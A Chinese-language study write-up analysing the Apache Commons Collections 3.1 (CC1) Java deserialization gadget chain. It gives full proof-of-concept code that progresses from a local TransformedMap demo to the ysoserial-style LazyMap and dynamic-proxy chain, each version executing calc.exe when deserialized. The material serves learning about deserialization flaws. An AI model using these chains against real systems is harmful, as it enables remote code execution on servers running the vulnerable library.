概述
Commons Collections的利用链也被称为CC链,在学习反序列化漏洞必不可少的一个部分。Apache Commons Collections是Java中应用广泛的一个库,包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java应用都使用了这个库。
环境
Commons Collections 3.1
JDK7u_21
注:只能在JDK7复现成功,因为JDK8u71后跟新了AnnotationInvocationHandler
的readObject
方法
简化版POC代码
因为真正的POC比较复杂,一下子看过去可能接受不了。所以先分析分析P牛自己造的简化版代码来消化消化知识。
package org.vulhub.Ser;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
}
}
介绍下涉及到几个类和接口
Transformer接口
该接口只有一个待实现的方法transfor
,ConstantTransformer
、InvokerTransformer
、ChainedTransformer
这三个类都实现了该接口。
ConstantTransformer类
实现了Transformer接口的⼀个类,在构造函数的时候传⼊⼀个对象,通过transform⽅法将这个对象返回。
InvokerTranformer类
实现了Transformer接口的⼀个类,这个类也是该链条最后能成功执行任意代码的关键
在构造函数的时候传入要执行的方法,方法对应的参数类型,和参数值。再通过transform方法时候传入Runtime.getRuntime()
对象,就会造成任意代码执行,即执行了input对象的iMethodName方法。
ChainedTransformer类
实现了Transformer接口的⼀个类,它的transform
方法作用是对传进来的Transformer数组进行遍历,并把前一个回调返回的结果,作为后一个回调的参数进行传入。
这样就可以把ConstantTransformer
、InvokerTransformer
类串在了一起,先通过ConstantTransformer
的transform
方法,返回一个Runtime.getRuntime()
对象,然后作为InvokerTransformer
类transform
的方法的input
参数传入,最后执行任意代码。
TransformedMap类
Transform来执行命令需要绑定到Map上,抽象类AbstractMapDecorator是Apache Commons Collections提供的一个类,实现类有很多。 比如LazyMap、TransformedMap等,这些类都有一个decorate()方法,用于将上述的Transformer实现类绑定到Map上。把Transformer实现类分别绑定到map的key和value上,当map的key或value被修改时,会调用对应Transformer实现类的transform()方法。把chainedtransformer绑定到一个TransformedMap上,当此map的key或value发生改变时,就会自动触发chainedtransformer。不同的Map类型有不同的触发规则。
最后我们通过decorate方法把transformerChain绑定到Map的value上,当value发生变化时,就会触发transformerChain的transfor方法。
链条
TransformedMap.put
->TransformedMap.transformValue
->ChainedTransformer.transform (循环回调)
->InvokerTransformer.transform
进阶版POC代码
上面的代码执只是⼀个用来在本地测试的类。在实际反序列化漏洞中,我们需要将上面最终生成的outerMap对象变成⼀个序列化流。
我们如何⽣成⼀个可以利用的反序列化POC呢?中间又会遇到哪些问题呢?
问题一
有Java基础的就会知道Java中不是所有对象都支持序列化,待序列化的对象和所有它使用的内部属性对象,必须都实 现了 java.io.Serializable
接口。而我们最早传给ConstantTransformer
的是Runtime.getRuntime()
,Runtime
类是没有实现 java.io.Serializable
接口的,所以不允许被序列化。
那怎么解决呢?这里就需要利用反射来获取到当前上下文中的Runtime对象,而不需要直接使用这个类。
Runtime rt = (Runtime) Runtime.class.getMethod("getRuntime").invoke(null);
rt.exec("calc.exe");
转成transform写法如下:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.util.StringTokenizer;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Object[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
}
}
分析下几个循环
第一个循环
new ConstantTransformer(Runtime.class)
直接返回传入的Runtime.class对象
第二个循环
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Object[0]})
传入的input
为一个循环返回的Runtime.class
对象,getClass
方法返回一个Class对象,之后用getMethod
方法调用Class对象的getMethod方法
,可以看成是反射调用反射。返回java.lang.Runtime.getRuntime()
,接下来是调用这个方法对象。
第三个循环
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]})
因为input是一个方法java.lang.Runtime.getRuntime()
,所以getClass
方法返回的是一个Method对象
,之后获取Method对象的invoke
方法,最后相当于是invoke.invoke(java.lang.Runtime.getRuntime,null)
,返回了一个Runtime实例化对象。
第四个循环
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
input的是Runtime的对象
,所以getClass
方法返回就是Runtime.class
的对象,回到最初的反射调用,命令执行成功。
最终版POC代码
问题二
触发这个漏洞的核心,在于当对Map进行一些操作时,会自动触发Transformer实现类的tranform()方法。在上面的代码中,我们是人为执行outerMap.get("test", "xxxx")
来触发漏洞,但在实际反序列化时,我们需要找到一个 类,它在反序列化的readObject
逻辑里有类似的写入、修改等操作来触发链条。
AnnotationInvocationHandler类
这个类就是sun.reflect.annotation.AnnotationInvocationHandler
构造方法
看下readObject方法
memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它 的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里注册的 Transform,进而执行我们为其精心设计的任意代码。
创建个sun.reflect.annotation.AnnotationInvocationHandler
实例化对象并将前面构造的 HashMap设置进来。
因为sun.reflect.annotation.AnnotationInvocationHandler
是JDK内部的类。不能直接使 用new来实例化。我使用反射获取到了它的构造方法,并将其设置成外部可见的,再调用就可以实例化。
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
然后把组合好的POC,运行看看能不能反序列成功
FileOutputStream fileOutputStream = new FileOutputStream("./cc1.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(handler);
objectOutputStream.close();
fileOutputStream.close();
FileInputStream fileInputStream = new FileInputStream("./cc1.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();
objectInputStream.close();
fileInputStream.close();
发现没报错也没弹出计算器,调试发现在AnnotationInvocationHandler:readObject
的逻辑中,有一个if语句对var7进行判断,只有在其不 是null的时候才会进入里面执行setValue
,否则不会进入也就不会触发漏洞
那么如何让这个var7不为null呢?涉及到Java注释相关的技术,后面再分析。
先给出两个条件:
sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是 Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素
[java.lang.annotation.Annotation]接口中有这么一句话,用来描述『注解』
The common interface extended by all annotation types
所有的注解类型都继承自这个普通的接口(Annotation)
注解@Retention的定义,其实它本质上就是:
public interface Retention extends Annotation{
}
完整POC代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
FileOutputStream fileOutputStream = new FileOutputStream("./cc1.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(handler);
objectOutputStream.close();
fileOutputStream.close();
FileInputStream fileInputStream = new FileInputStream("./cc1.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();
objectInputStream.close();
fileInputStream.close();
链条
AnnotationInvocationHandler.readObject()
->AbstractInputCheckedMapDecorator.setValue()
->TransformedMap.checkSetValue()
->ChainedTransformer.transform() (循环回调)
->InvokerTransformer.transform()
ysoserial版POC代码
先贴一个完整Gadget链条
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
区别
①LazyMap类
链条里使用的类是LazyMap
这个类,这个类和TransformedMap
类似。都是AbstractMapDecorator
继承抽象类是Apache Commons Collections
提供的一个类。在两个类不同点在于TransformedMap
是在put
方法去触发transform
方法,而LazyMap
是在get
方法去调用方法。
当调用get(key)的key不存在时,会调用transformerChain的transform()方法。
修改下原来的代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("test", "xxxx");
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
outerMap.get("1");
同样可以执行命令
LazyMap.get()
->ChainedTransformer.transform() (循环回调)
->InvokerTranformer.transform()
②AnnotationInvocationHandler.invoke方法
动态代理概念
参考文章 Java动态代理InvocationHandler和Proxy学习笔记
InvocationHandler
接口是proxy
代理实例的调用处理程序实现的一个接口,每一个proxy代理实例都有一个关联的调用处理程序;在代理实例调用方法时,方法调用被编码分派到调用处理程序的invoke
方法。
每一个动态代理类的调用处理程序都必须实现InvocationHandler
接口,并且每个代理类的实例都关联到了实现该接口的动态代理类调用处理程序中,当我们通过动态代理对象调用一个方法时候,这个方法的调用就会被转发到实现InvocationHandler
接口类的invoke
方法来调用。
LazyMap.get
可以在AnnotationInvocationHandler.invoke
中被调用,只要给LazyMap
设置动态代理
,LazyMap调用方法
的时候就能调用invoke
,而AnnotationInvocationHandler
的readObject
中又调用了LazyMap.entrySet
方法,最后需要将绑定了chainedtransformer
的Map
传入AnnotationInvocationHandler
的构造方法中,反序列化AnnotationInvocationHandler
,整条利用链就又巧妙的连起来了。
Proxy类
Proxy类就是用来创建一个代理对象的类,它提供了很多方法,但是我们最常用的是newProxyInstance
方法。
这个方法的作用就是创建一个代理类对象,它接收三个参数
loader:用哪个类加载器去加载代理对象
interfaces:动态代理类需要实现的接口
h:动态代理方法在执行时,会调用h里面的invoke方法去执行
使用LazyMap
+动态代理构造利用链
我们需要对实现了Map
接口的类进行Proxy
,LazyMap
实现了Map
接口,所以只要调用了LazyMap
的任意方法,都会直接去调用AnnotationInvocationHandler
类的invoke()方法。
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
但我们不能直接对其进行序列化,因为我们入口点是sun.reflect.annotation.AnnotationInvocationHandler.readObject
,所以我们还需要再用 AnnotationInvocationHandler
对这个proxyMap
进行包裹。
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
最终POC
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
FileOutputStream fileOutputStream = new FileOutputStream("./cc1.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(handler);
objectOutputStream.close();
fileOutputStream.close();
FileInputStream fileInputStream = new FileInputStream("./cc1.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();
objectInputStream.close();
fileInputStream.close();
链条
AnnotationInvocationHandler.readObject()
->$Proxy.entrySet()动态代理执行AnnotationInvocationHandler.invoke()
->LazyMap.get()
->ChainedTransformer.transform() (循环回调)
->InvokerTransformer.transform()
总结
①该链条通用性不强,在jdk8u_71
后修改了AnnotationInvocationHandler.readObject()
方法,就不能利用上面的链条触发漏洞。
②对于像我这种初学者来说,学一条很长的链条可以把一条链条切成几部分一步步吸收比较好点。
③遇到了高版本有没有其他方法绕过呢?等本菜鸟学完再来分享***。
参考文章
P牛的JAVA安全漫谈系列
Java安全之Commons Collections1分析前置知识
ysoserial分析【一】Apache Commons Collections
Java动态代理InvocationHandler和Proxy学习笔记